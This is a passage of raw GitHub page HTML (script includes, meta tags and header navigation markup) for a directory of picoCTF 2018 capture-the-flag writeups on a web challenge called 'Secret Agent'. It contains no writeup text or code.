src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>picoCTF-2018-Writeups/WEB_EXPLOITATION/SECRET AGENT at master · d4rkvaibhav/picoCTF-2018-Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="84D0:0F8F:199C50E1:1A676A83:641225E4" data-pjax-transient="true"/><meta name="html-safe-nonce" content="261712854dc14ff5d6a57af6b25f5d0b4ee946765528d3a1210f673f938b8705" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4NEQwOjBGOEY6MTk5QzUwRTE6MUE2NzZBODM6NjQxMjI1RTQiLCJ2aXNpdG9yX2lkIjoiNzg3NzIyOTYzMTg0MTExNzY2OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="c14256253b9ae03283ce6eea140c5d7341e8daeef3f4b52939a7e3fc0721c471" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:152792189" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups of PICOCTF 2018. Contribute to d4rkvaibhav/picoCTF-2018-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/689cedfb3d4a154932fe530428df9941091118f1aa6524eb26be4587d5d5b1f3/d4rkvaibhav/picoCTF-2018-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="picoCTF-2018-Writeups/WEB_EXPLOITATION/SECRET AGENT at master · d4rkvaibhav/picoCTF-2018-Writeups" /><meta name="twitter:description" content="Writeups of PICOCTF 2018. Contribute to d4rkvaibhav/picoCTF-2018-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/689cedfb3d4a154932fe530428df9941091118f1aa6524eb26be4587d5d5b1f3/d4rkvaibhav/picoCTF-2018-Writeups" /><meta property="og:image:alt" content="Writeups of PICOCTF 2018. Contribute to d4rkvaibhav/picoCTF-2018-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="picoCTF-2018-Writeups/WEB_EXPLOITATION/SECRET AGENT at master · d4rkvaibhav/picoCTF-2018-Writeups" /><meta property="og:url" content="https://github.com/d4rkvaibhav/picoCTF-2018-Writeups" /><meta property="og:description" content="Writeups of PICOCTF 2018. Contribute to d4rkvaibhav/picoCTF-2018-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/d4rkvaibhav/picoCTF-2018-Writeups git https://github.com/d4rkvaibhav/picoCTF-2018-Writeups.git"> <meta name="octolytics-dimension-user_id" content="43247883" /><meta name="octolytics-dimension-user_login" content="d4rkvaibhav" /><meta name="octolytics-dimension-repository_id" content="152792189" /><meta name="octolytics-dimension-repository_nwo" content="d4rkvaibhav/picoCTF-2018-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="152792189" /><meta name="octolytics-dimension-repository_network_root_nwo" content="d4rkvaibhav/picoCTF-2018-Writeups" /> <link rel="canonical" href="https://github.com/d4rkvaibhav/picoCTF-2018-Writeups/tree/master/WEB_EXPLOITATION/SECRET%20AGENT" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" 